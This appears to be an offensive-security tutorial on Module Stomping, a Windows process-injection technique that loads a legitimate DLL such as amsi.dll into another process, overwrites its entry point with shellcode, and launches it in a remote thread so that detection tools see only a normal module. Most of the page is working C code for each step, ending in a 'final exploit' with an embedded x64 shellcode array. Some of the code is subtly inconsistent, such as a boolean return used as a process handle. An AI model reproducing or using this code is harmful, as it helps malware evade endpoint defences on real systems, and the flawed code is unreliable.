Module Stomping
Table of content
Overview
Inject a legit
DLLand stomp its base address to launch a malicious shellcode
Module Stomping also knows as DLL Hollowing is another technique used to inject shellcode in memory. It can also be used to inject full DLL. However, the injected shellcode will appear to be injected as a valid standard DLL.
Indeed, when a shellcode is injected in memory with a simple VirtualAllocEx and WriteProcessMemory it will appear as loaded from nowhere in ProcessHacker or ProcessExplorer:

The Module Stomping technique aims to load the shellcode with a valid legit location such as amsi.dll.
This technique avoids the use of RWX memory page allocation in the target process. Moreover, the shellcode is loaded as a valid Windows DLL so detection system will not see any weird loading location. Finally, the remote thread launched is associated to a legit Windows module.
Hands on
- Inject some standard
Windows DLLsuch asamsi.dlloradvapi.dll- Overwrite the loaded
DLL's entry point address with the shellcode one- Starts a new thread at the loaded
DLL's entry point
Inject the DLL
The DLL can be injected with the following code.
The target process is opened using OpenProcess. Then the DLL path is injected in the process memory through VirtualAllocEx and WriteProcessMemory.
Finally, the DLL is loaded in the process memory through the use of LoadLibrary in a brand new thread.
#include <windows.h>
#include <stdio.h>
BOOL injectDLL(char *moduleToInject, DWORD processPID) {
// open the target process
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processPID);
// allocate the memory page to inject the DLL path
void* remoteBuffer = VirtualAllocEx(processHandle, NULL, strlen(moduleToInject) * sizeof(char), MEM_COMMIT, PAGE_READWRITE);
if (!remoteBuffer) {
return FALSE;
}
// inject the dll name
BOOL status = WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, strlen(moduleToInject) * sizeof(char), NULL);
if (!status) {
return FALSE;
}
// load the dll with LoadLibraryW
HMODULE kernel32 = GetModuleHandleA("Kernel32.dll");
if (!kernel32) {
return FALSE;
}
PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(kernel32, "LoadLibraryA");
if (!threadRoutine) {
return FALSE;
}
HANDLE dllThread = CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL);
if (!dllThread) {
return FALSE;
}
WaitForSingleObject(dllThread, 1000);
return TRUE;
}
int main()
{
DWORD processPID = 30436;
char moduleToInject[] = "C:\\windows\\system32\\amsi.dll";
injectDLL(moduleToInject, processPID);
return 0;
}
Find the DLL load address
In order to retrieve the DLL load address, it is possible to enumerate the process loaded modules through EnumProcessModules.
Then, each modules base address is resolved using GetModuleBaseNameA.
DWORD64 getDLLBaseAddress(HANDLE processHandle, char *dllName) {
HMODULE modules[1024];
SIZE_T modulesSize = sizeof(modules);
DWORD modulesSizeNeeded = 0;
EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded);
SIZE_T modulesCount = modulesSizeNeeded / sizeof(HMODULE);
for (size_t i = 0; i < modulesCount; i++)
{
HMODULE remoteModule = modules[i];
CHAR remoteModuleName[128];
GetModuleBaseNameA(
processHandle,
remoteModule,
remoteModuleName,
sizeof(remoteModuleName)
);
if (_stricmp(remoteModuleName, dllName) == 0) {
return modules[i];
}
}
return NULL;
}
Find the DLL entrypoint address
The DLL entrypoint address can be found in the DLL header. Thus, the DLL header is retrieved through ReadProcessMemory and the DLL base address found before. Then, the value read is casted into IMAGE_DOS_HEADER to access to the IMAGE_NT_HEADERS and finally the OptionalHeader.AddressOfEntryPoint which is the DLL entrypoint RVA.
DWORD64 getDLLEntryPointAddress(HANDLE processHandle, DWORD64 baseAddress) {
void* buffer = calloc(0x1000, sizeof(char));
if (!buffer) {
return NULL;
}
DWORD bufferSize = 0x1000;
ReadProcessMemory(processHandle, (PVOID)baseAddress, buffer, bufferSize, NULL);
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)buffer;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)buffer + dosHeader->e_lfanew);
return ntHeader->OptionalHeader.AddressOfEntryPoint + baseAddress;
}
Write and launch the shellcode
The shellcode is written at the DLL entry point address with WriteProcessMemory and a thread is relaunched:
SIZE_T writeShellcode(
HANDLE processHandle,
DWORD64 entrypointAddress,
unsigned char* shellcode,
SIZE_T shellcodeLen) {
SIZE_T writtenBytes;
WriteProcessMemory(
processHandle,
(PVOID)entrypointAddress,
(LPCVOID)shellcode,
shellcodeLen,
&writtenBytes);
CreateRemoteThread(
processHandle,
NULL,
0,
(PTHREAD_START_ROUTINE)entrypointAddress,
NULL,
0,
NULL
);
return writtenBytes;
}
Final exploit
int main()
{
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x43\x3a\x5c"
"\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33"
"\x32\x5c\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
DWORD processPID = 21204;
char moduleToInject[] = "C:\\windows\\system32\\amsi.dll";
HANDLE processHandle = injectDLL(moduleToInject, processPID);
if (!processHandle) {
printf("[x] Cannot load library\n");
return -1;
}
DWORD64 baseAddress = getDLLBaseAddress(processHandle, "amsi.dll");
if (!baseAddress) {
printf("[x] Cannot retrieve DLL base address\n");
return -1;
}
printf("[+] DLL load at : 0x%llX\n", baseAddress);
DWORD64 entrypointAddress = getDLLEntryPointAddress(processHandle, baseAddress);
if (!entrypointAddress) {
printf("[x] Cannot retrieve the entrypoint address\n");
return -1;
}
printf("[+] DLL entrypoint at : 0x%llX\n", entrypointAddress);
SIZE_T writtenBytes = writeShellcode(processHandle, entrypointAddress, buf, sizeof(buf));
printf("[+] %lld bytes written\n", writtenBytes);
CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)entrypointAddress, NULL, 0, NULL);
return 0;
}
It is somewhat interesting to perform a self-injection instead of injecting in another process. Indeed, performing a self-injection avoid the use of CreateRemotThread.
If a self-injection is performed, the shellcode can be launched with the following line:
((void(*)())entrypointAddress)();